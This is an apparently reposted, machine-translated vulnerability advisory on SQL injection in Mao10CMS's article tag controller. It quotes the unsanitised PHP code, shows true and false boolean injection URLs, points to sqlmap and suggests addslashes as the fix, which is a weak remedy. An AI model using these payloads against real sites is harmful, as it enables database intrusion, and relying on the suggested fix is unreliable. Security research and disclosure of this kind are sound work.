Mao10CMS SQL Injection

Source: Internet
Author: User

Mao10CMS SQL Injection

Mao10CMS SQL Injection

Vulnerability files:

Application \ Article \ Controller \ IndexController. class. php

Public function tag ($ tag, $ page = 1) {if (is_numeric ($ page) {// filter parameters $ condition ['type'] = 'Article '; $ date = strtotime ("now"); $ args_id = M ('meta ') -> where ("meta_key = 'tag' AND meta_value = '$ tag' AND type = 'basic'")-> getField ('page _ id', true ); // $ tag directly introduces $ condition ['id'] = array ('in', $ args_id); $ this-> page = M ('page ') -> where ($ condition)-> order ('date desc')-> page ($ page, mc_option ('page _ size')-> select (); // because Here is another sentence: $ count = M ('page')-> where ($ condition)-> count (); $ this-> assign ('id', $ id); $ this-> assign ('Count', $ count); $ this-> assign ('page _ now ', $ page); $ this-> theme (mc_option ('Theme ')-> display ('Article/termin ');} else {$ this-> error ('parameter error! ');}}

Local test connection:

Http: // 127.0.0.1/index. php? M = article & c = index & a = tag & tag = % E4 % BF % 9D % E8 % AF % 81



True: http: // 127.0.0.1/index. php? M = article & c = index & a = tag & tag = % E4 % BF % 9D % E8 % AF % 81% 27) % 20and % 201 = 1 -- % 201

 



False: http: // 127.0.0.1/index. php? M = article & c = index & a = tag & tag = % E4 % BF % 9D % E8 % AF % 81% 27) % 20and % 201 = 2 -- % 201
 





You can directly use sqlmap
 

 

Solution:

Parameter escape

Addslashes (str)

 

Related Article

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.